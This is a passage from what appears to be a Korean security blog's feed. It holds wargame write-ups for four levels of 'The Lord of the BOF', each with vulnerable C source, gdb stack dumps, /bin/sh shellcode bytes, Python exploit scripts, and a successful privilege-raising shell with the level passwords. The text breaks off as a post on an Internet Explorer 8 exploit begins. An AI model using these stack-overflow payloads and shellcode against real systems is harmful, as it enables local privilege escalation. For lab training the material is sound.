2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != \u0026#39;\\xbf\u0026#39;) { printf(stack is still your friend.\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); } 환경변수를 다 지우게 되므로 환경변수를 이용할 수 없다. 하지만 argv에 인자로 쉘코드를 넣어줄 수 있으므로 argv를 이용하면 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 [goblin@localhost goblin]$ gdb orc_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048506 (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x90\u0026#39;*100000 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39;` Starting program: /home/goblin/orc_tmp `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x90\u0026#39;*100000 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39;` Breakpoint 1, 0x8048506 in main () (gdb) x/32wx $esp 0xbffe743c: 0x40021ca0 0xbffe7468 0x4000a970 0x400f855b 0xbffe744c: 0x08049680 0x4000ae60 0xbffe74b4 0xbffe7468 0xbffe745c: 0x080484eb 0x0804966c 0x08049680 0xbffe7488 0xbffe746c: 0x400309cb 0x00000002 0xbffe74b4 0xbffe74c0 0xbffe747c: 0x40013868 0x00000002 0x08048450 0x00000000 0xbffe748c: 0x08048471 0x08048500 0x00000002 0xbffe74b4 0xbffe749c: 0x08048390 0x0804860c 0x4000ae60 0xbffe74ac 0xbffe74ac: 0x40013e90 0x00000002 0xbffe759c 0xbffe75b1 (gdb) 0xbffe74bc: 0x00000000 0xbffffcab 0xbffffccd 0xbffffcd7 0xbffe74cc: 0xbffffce5 0xbffffd04 0xbffffd13 0xbffffd2c 0xbffe74dc: 0xbffffd48 0xbffffd53 0xbffffd61 0xbffffda3 0xbffe74ec: 0xbffffdb5 0xbffffdca 0xbffffdda 0xbffffde6 0xbffe74fc: 0xbffffe04 0xbffffe0f 0xbffffe1c 0xbffffe24 0xbffe750c: 0x00000000 0x00000003 0x08048034 0x00000004 0xbffe751c: 0x00000020 0x00000005 0x00000006 0x00000006 0xbffe752c: 0x00001000 0x00000007 0x40000000 0x00000008 (gdb) 0xbffe753c: 0x00000000 0x00000009 0x08048450 0x0000000b 0xbffe754c: 0x000001f7 0x0000000c 0x000001f7 0x0000000d 0xbffe755c: 0x000001f7 0x0000000e 0x000001f7 0x00000010 0xbffe756c: 0x0febfbff 0x0000000f 0xbffe7597 0x00000000 0xbffe757c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffe758c: 0x00000000 0x00000000 0x69000000 0x00363836 0xbffe759c: 0x6d6f682f 0x6f672f65 0x6e696c62 0x63726f2f 0xbffe75ac: 0x706d745f 0x41414100 0x41414141 0x41414141 (gdb) 0xbffe75bc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffe75cc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffe75dc: 0x42424241 0x90909042 0x90909090 0x90909090 0xbffe75ec: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe75fc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe760c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe761c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe762c: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) q The program is running. Exit anyway? (y or n) y [goblin@localhost goblin]$ ./orc `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x1c\\x76\\xfe\\xbf\u0026#39; + \u0026#39;\\x90\u0026#39;*100000 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv1h//shh/bin bash$ id uid=504(orc) gid=503(goblin) egid=504(orc) groups=503(goblin) bash$ my-pass euid = 504 cantata bash$ ","date":"2010-12-19T14:24:52Z","permalink":"/2010/12/19/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-4-orc/","title":"BOF 원정대 - Level 4 (orc)"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf(%s\\n, buffer); } 이전 문제와 다른 점은 인자를 argv로 받는것이 아니라 gets() 함수를 이용해 받는다는 것이다. get() 함수를 이용해 인자를 받을때는 아래와 같이 풀이를 하면 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 [cobolt@localhost cobolt]$ export SH=`python -c print \u0026#39;\\x90\u0026#39;*100000 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39;` [cobolt@localhost cobolt]$ gdb goblin_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x80483fe (gdb) r Starting program: /home/cobolt/goblin_tmp Breakpoint 1, 0x80483fe in main () (gdb) x/32wx $esp 0xbffe7478: 0xbffe7488 0x080483eb 0x08049480 0x08049494 0xbffe7488: 0xbffe74a8 0x400309cb 0x00000001 0xbffe74d4 0xbffe7498: 0xbffe74dc 0x40013868 0x00000001 0x08048350 0xbffe74a8: 0x00000000 0x08048371 0x080483f8 0x00000001 0xbffe74b8: 0xbffe74d4 0x080482bc 0x0804844c 0x4000ae60 0xbffe74c8: 0xbffe74cc 0x40013e90 0x00000001 0xbffe75c3 0xbffe74d8: 0x00000000 0xbffe75db 0xbffe75fd 0xbffe7607 0xbffe74e8: 0xbffe7615 0xbffe7634 0xbffe7643 0xbffe765c (gdb) 0xbffe74f8: 0xbffe7678 0xbffe7683 0xbffe7691 0xbffe76d3 0xbffe7508: 0xbffe76e5 0xbffe76fa 0xbffe770a 0xbffe7716 0xbffe7518: 0xbffe7734 0xbffe773f 0xbffffe0c 0xbffffe19 0xbffe7528: 0xbffffe21 0x00000000 0x00000003 0x08048034 0xbffe7538: 0x00000004 0x00000020 0x00000005 0x00000006 0xbffe7548: 0x00000006 0x00001000 0x00000007 0x40000000 0xbffe7558: 0x00000008 0x00000000 0x00000009 0x08048350 0xbffe7568: 0x0000000b 0x000001f6 0x0000000c 0x000001f6 (gdb) 0xbffe7578: 0x0000000d 0x000001f6 0x0000000e 0x000001f6 0xbffe7588: 0x00000010 0x0febfbff 0x0000000f 0xbffe75be 0xbffe7598: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffe75a8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffe75b8: 0x00000000 0x36690000 0x2f003638 0x656d6f68 0xbffe75c8: 0x626f632f 0x2f746c6f 0x6c626f67 0x745f6e69 0xbffe75d8: 0x4c00706d 0x4f535345 0x3d4e4550 0x73752f7c 0xbffe75e8: 0x69622f72 0x656c2f6e 0x69707373 0x732e6570 (gdb) 0xbffe75f8: 0x73252068 0x45535500 0x4d414e52 0x48003d45 0xbffe7608: 0x53545349 0x3d455a49 0x30303031 0x534f4800 0xbffe7618: 0x4d414e54 0x6f6c3d45 0x686c6163 0x2e74736f 0xbffe7628: 0x61636f6c 0x6d6f646c 0x006e6961 0x4e474f4c 0xbffe7638: 0x3d454d41 0x6f626f63 0x5200746c 0x544f4d45 0xbffe7648: 0x534f4845 0x39313d54 0x36312e32 0x31322e38 0xbffe7658: 0x00312e38 0x4c49414d 0x61762f3d 0x70732f72 0xbffe7668: 0x2f6c6f6f 0x6c69616d 0x626f632f 0x00746c6f (gdb) 0xbffe7678: 0x4d524554 0x6e696c3d 0x48007875 0x5454534f 0xbffe7688: 0x3d455059 0x36383369 0x54415000 0x752f3d48 0xbffe7698: 0x6c2f7273 0x6c61636f 0x6e69622f 0x69622f3a 0xbffe76a8: 0x752f3a6e 0x622f7273 0x2f3a6e69 0x2f727375 0xbffe76b8: 0x52313158 0x69622f36 0x682f3a6e 0x2f656d6f 0xbffe76c8: 0x6f626f63 0x622f746c 0x48006e69 0x3d454d4f 0xbffe76d8: 0x6d6f682f 0x6f632f65 0x746c6f62 0x504e4900 0xbffe76e8: 0x43525455 0x74652f3d 0x6e692f63 0x72747570 (gdb) 0xbffe76f8: 0x48530063 0x3d4c4c45 0x6e69622f 0x7361622f 0xbffe7708: 0x53550068 0x633d5245 0x6c6f626f 0x41420074 0xbffe7718: 0x455f4853 0x2f3d564e 0x656d6f68 0x626f632f 0xbffe7728: 0x2f746c6f 0x7361622e 0x00637268 0x474e414c 0xbffe7738: 0x5f6e653d 0x53005355 0x90903d48 0x90909090 0xbffe7748: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7758: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7768: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbffe7778: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7788: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7798: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77a8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77b8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77c8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77d8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77e8: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) q The program is running. Exit anyway? (y or n) y [cobolt@localhost cobolt]$ (python -c print \u0026#39;A\u0026#39;*20 + \u0026#39;\\xe8\\x77\\xfe\\xbf\u0026#39;; cat) | ./goblin AAAAAAAAAAAAAAAAAAAA id uid=503(goblin) gid=502(cobolt) egid=503(goblin) groups=502(cobolt) my-pass euid = 503 hackers proof ","date":"2010-12-18T00:39:18Z","permalink":"/2010/12/18/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-3-goblin/","title":"BOF 원정대 - Level 3 (goblin)"},{"content":"Level 2 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); } 이번 문제는 전 문제와 달리 버퍼의 크기가 작다. 이런 경우 환경변수를 이용할 수 있다. 다만 RET 주소를 덮어쓸 때 \\xff 를 입력을 못받으므로 \\xff를 회피해야 하는게 이 문제의 핵심이다. 회피 방법은 이전 문제처럼 NOP를 다수 입력 하여 회피할 수 있을 것이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 [gremlin@localhost gremlin]$ export SH=`python -c print \u0026#39;\\x90\u0026#39;*100000 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39;` [gremlin@localhost gremlin]$ gdb cobolt_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048436 (gdb) r Starting program: /home/gremlin/cobolt_tmp Breakpoint 1, 0x8048436 in main () (gdb) x/32wx $esp 0xbffe7478: 0xbffe7488 0x0804841b 0x080494ec 0x08049500 0xbffe7488: 0xbffe74a8 0x400309cb 0x00000001 0xbffe74d4 0xbffe7498: 0xbffe74dc 0x40013868 0x00000001 0x08048380 0xbffe74a8: 0x00000000 0x080483a1 0x08048430 0x00000001 0xbffe74b8: 0xbffe74d4 0x080482e0 0x080484ac 0x4000ae60 0xbffe74c8: 0xbffe74cc 0x40013e90 0x00000001 0xbffe75bb 0xbffe74d8: 0x00000000 0xbffe75d4 0xbffe75f6 0xbffe7600 0xbffe74e8: 0xbffe760e 0xbffe762d 0xbffe763d 0xbffe7656 (gdb) 0xbffe74f8: 0xbffe7673 0xbffe767e 0xbffe768c 0xbffe76cf 0xbffe7508: 0xbffe76e2 0xbffe76f7 0xbffe7707 0xbffe7714 0xbffe7518: 0xbffe7733 0xbffe773e 0xbffffe0b 0xbffffe18 0xbffe7528: 0xbffffe20 0x00000000 0x00000003 0x08048034 0xbffe7538: 0x00000004 0x00000020 0x00000005 0x00000006 0xbffe7548: 0x00000006 0x00001000 0x00000007 0x40000000 0xbffe7558: 0x00000008 0x00000000 0x00000009 0x08048380 0xbffe7568: 0x0000000b 0x000001f5 0x0000000c 0x000001f5 (gdb) 0xbffe7578: 0x0000000d 0x000001f5 0x0000000e 0x000001f5 0xbffe7588: 0x00000010 0x0febfbff 0x0000000f 0xbffe75b6 0xbffe7598: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffe75a8: 0x00000000 0x00000000 0x00000000 0x36690000 0xbffe75b8: 0x2f003638 0x656d6f68 0x6572672f 0x6e696c6d 0xbffe75c8: 0x626f632f 0x5f746c6f 0x00706d74 0x5353454c 0xbffe75d8: 0x4e45504f 0x752f7c3d 0x622f7273 0x6c2f6e69 0xbffe75e8: 0x70737365 0x2e657069 0x25206873 0x53550073 (gdb) 0xbffe75f8: 0x414e5245 0x003d454d 0x54534948 0x455a4953 0xbffe7608: 0x3030313d 0x4f480030 0x414e5453 0x6c3d454d 0xbffe7618: 0x6c61636f 0x74736f68 0x636f6c2e 0x6f646c61 0xbffe7628: 0x6e69616d 0x474f4c00 0x454d414e 0x6572673d 0xbffe7638: 0x6e696c6d 0x4d455200 0x4845544f 0x3d54534f 0xbffe7648: 0x2e323931 0x2e383631 0x2e383132 0x414d0031 0xbffe7658: 0x2f3d4c49 0x2f726176 0x6f6f7073 0x616d2f6c 0xbffe7668: 0x672f6c69 0x6c6d6572 0x54006e69 0x3d4d5245 (gdb) 0xbffe7678: 0x756e696c 0x4f480078 0x59545453 0x693d4550 0xbffe7688: 0x00363833 0x48544150 0x73752f3d 0x6f6c2f72 0xbffe7698: 0x2f6c6163 0x3a6e6962 0x6e69622f 0x73752f3a 0xbffe76a8: 0x69622f72 0x752f3a6e 0x582f7273 0x36523131 0xbffe76b8: 0x6e69622f 0x6f682f3a 0x672f656d 0x6c6d6572 0xbffe76c8: 0x622f6e69 0x48006e69 0x3d454d4f 0x6d6f682f 0xbffe76d8: 0x72672f65 0x696c6d65 0x4e49006e 0x52545550 0xbffe76e8: 0x652f3d43 0x692f6374 0x7475706e 0x53006372 (gdb) 0xbffe76f8: 0x4c4c4548 0x69622f3d 0x61622f6e 0x55006873 0xbffe7708: 0x3d524553 0x6d657267 0x006e696c 0x48534142 0xbffe7718: 0x564e455f 0x6f682f3d 0x672f656d 0x6c6d6572 0xbffe7728: 0x2e2f6e69 0x68736162 0x4c006372 0x3d474e41 0xbffe7738: 0x555f6e65 0x48530053 0x9090903d 0x90909090 0xbffe7748: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7758: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7768: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbffe7778: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7788: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7798: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77a8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77b8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77c8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77d8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe77e8: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 이와 같이 환경변수에 NOP를 다수 다수 입력하게 되면 \\xff 주소를 회피 할 수 있다. 이제 공격코드를 작성해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 #!/usr/bin/python import os from struct import pack def main(): payload = \u0026#39;A\u0026#39;*20 + pack(\u0026#39;\u0026lt;L\u0026#39;, 0xbffe7778) os.execl(\u0026#39;/home/gremlin/cobolt\u0026#39;, \u0026#39;cobolt\u0026#39;, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat\u0026#39; main() print \u0026#39;[+] End\u0026#39; 1 2 3 4 5 6 7 8 [gremlin@localhost gremlin]$ ./ex.py [+] Strat AAAAAAAAAAAAAAAAAAAAxwbash$ id uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin) bash$ my-pass euid = 502 hacking exposed bash$ ","date":"2010-12-17T23:38:00Z","permalink":"/2010/12/17/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-2/","title":"BOF 원정대 - Level 2 (cobolt)"},{"content":"첫번째 문제다. 소스는 아래와 같이 아주 단순한 BOF 다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /* The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */ int main(int argc, char *argv[]) { char buffer[256]; if(argc \u0026lt; 2){ printf(\u0026#34;argv error\\n\u0026#34;); exit(0); } strcpy(buffer, argv[1]); printf(\u0026#34;%s\\n\u0026#34;, buffer); } 이번 문제의 풀이는 여러가지가 될 수 있다. 환경변수에 쉘코드를 올리거나 혹은 버퍼에 쉘코드를 입력 후 공격이 가능하다. 이번 문제에서 버퍼의 크기가 크므로 버퍼에 입력하여 공격하는 방법으로 시작해보자.\nPAYLOAD 구성은 아래와 같다. [A260] + [RET] + [NOP100] + [SHELLCODE}\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 [gate@localhost gate]$ gdb gremlin_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-redhat-linux\u0026#34;... (gdb) disassemble main Dump of assembler code for function main: 0x8048430 \u0026lt;main\u0026gt;: push %ebp 0x8048431 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x8048433 \u0026lt;main+3\u0026gt;: sub $0x100,%esp 0x8048439 \u0026lt;main+9\u0026gt;: cmpl $0x1,0x8(%ebp) 0x804843d \u0026lt;main+13\u0026gt;: jg 0x8048456 \u0026lt;main+38\u0026gt; 0x804843f \u0026lt;main+15\u0026gt;: push $0x80484e0 0x8048444 \u0026lt;main+20\u0026gt;: call 0x8048350 \u0026lt;printf\u0026gt; 0x8048449 \u0026lt;main+25\u0026gt;: add $0x4,%esp 0x804844c \u0026lt;main+28\u0026gt;: push $0x0 0x804844e \u0026lt;main+30\u0026gt;: call 0x8048360 \u0026lt;exit\u0026gt; 0x8048453 \u0026lt;main+35\u0026gt;: add $0x4,%esp 0x8048456 \u0026lt;main+38\u0026gt;: mov 0xc(%ebp),%eax 0x8048459 \u0026lt;main+41\u0026gt;: add $0x4,%eax 0x804845c \u0026lt;main+44\u0026gt;: mov (%eax),%edx 0x804845e \u0026lt;main+46\u0026gt;: push %edx 0x804845f \u0026lt;main+47\u0026gt;: lea 0xffffff00(%ebp),%eax 0x8048465 \u0026lt;main+53\u0026gt;: push %eax 0x8048466 \u0026lt;main+54\u0026gt;: call 0x8048370 \u0026lt;strcpy\u0026gt; 0x804846b \u0026lt;main+59\u0026gt;: add $0x8,%esp 0x804846e \u0026lt;main+62\u0026gt;: lea 0xffffff00(%ebp),%eax 0x8048474 \u0026lt;main+68\u0026gt;: push %eax 0x8048475 \u0026lt;main+69\u0026gt;: push $0x80484ec 0x804847a \u0026lt;main+74\u0026gt;: call 0x8048350 \u0026lt;printf\u0026gt; 0x804847f \u0026lt;main+79\u0026gt;: add $0x8,%esp 0x8048482 \u0026lt;main+82\u0026gt;: leave 0x8048483 \u0026lt;main+83\u0026gt;: ret 0x8048484 \u0026lt;main+84\u0026gt;: nop 0x8048485 \u0026lt;main+85\u0026gt;: nop 0x8048486 \u0026lt;main+86\u0026gt;: nop 0x8048487 \u0026lt;main+87\u0026gt;: nop 0x8048488 \u0026lt;main+88\u0026gt;: nop 0x8048489 \u0026lt;main+89\u0026gt;: nop 0x804848a \u0026lt;main+90\u0026gt;: nop 0x804848b \u0026lt;main+91\u0026gt;: nop 0x804848c \u0026lt;main+92\u0026gt;: nop 0x804848d \u0026lt;main+93\u0026gt;: nop 0x804848e \u0026lt;main+94\u0026gt;: nop 0x804848f \u0026lt;main+95\u0026gt;: nop End of assembler dump. (gdb) b *main+83 Breakpoint 1 at 0x8048483 (gdb) r `python -c \u0026#34;print \u0026#39;A\u0026#39;*260 + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x90\u0026#39;*100\u0026#34;` Starting program: /home/gate/gremlin_tmp `python -c \u0026#34;print \u0026#39;A\u0026#39;*260 + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x90\u0026#39;*100\u0026#34;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, 0x8048483 in main () (gdb) x/32wx $esp 0xbffff9fc: 0x42424242 0x90909090 0x90909090 0x90909090 0xbffffa0c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa1c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa2c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa3c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa4c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa5c: 0x90909090 0x90909090 0xbffffd00 0xbffffd34 0xbffffa6c: 0xbffffd4e 0xbffffd59 0xbffffd67 0xbffffda7 (gdb) r `python -c \u0026#34;print \u0026#39;A\u0026#39;*260 + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x90\u0026#39;*100000\u0026#34;` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/gate/gremlin_tmp `python -c \u0026#34;print \u0026#39;A\u0026#39;*260 + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x90\u0026#39;*100000\u0026#34;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, 0x8048483 in main () (gdb) x/32wx $esp 0xbffe73cc: 0x42424242 0x90909090 0x90909090 0x90909090 0xbffe73dc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe73ec: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe73fc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe740c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe741c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe742c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe743c: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 위 디버깅 내용을 보면 처음 NOP를 10개 입력하였을 때 NOP의 위치에 해당하는 스택주소에 \\xff가 포함되어 있다. 이를 우회하기 위해 NOP를 100000개 넣어준 결과 \\xff에서 \\xfe로 바뀐걸 볼 수 있다.\n이제 공격코드를 작성해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/python import os from struct import pack shellcode = \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39; def main(): payload = \u0026#39;A\u0026#39;*260 + pack(\u0026#39;\u0026lt;L\u0026#39;, 0xbffe73ec) + \u0026#39;\\x90\u0026#39;*100000 + shellcode os.execl(\u0026#39;/home/gate/gremlin\u0026#39;, \u0026#39;gremlin\u0026#39;, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat\u0026#39; main() print \u0026#39;[+] End\u0026#39; 1 2 3 4 5 6 7 8 9 10 [gate@localhost gate]$ ./ex.py [+] Strat AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1F̀1/shh/bin bash$ id uid=501(gremlin) gid=500(gate) egid=501(gremlin) groups=500(gate) bash$ my-pass euid = 501 hello bof world bash$ ","date":"2010-12-17T23:37:52Z","permalink":"/2010/12/17/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-1-gremlin/","title":"BOF 원정대 - Level 1 (gremlin)"},{"content":"인터넷 익스플로러 8 버전에 대한 취약점이 나와 기록해 둡니다. http://www.exploit-db.com/exploits/15746/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 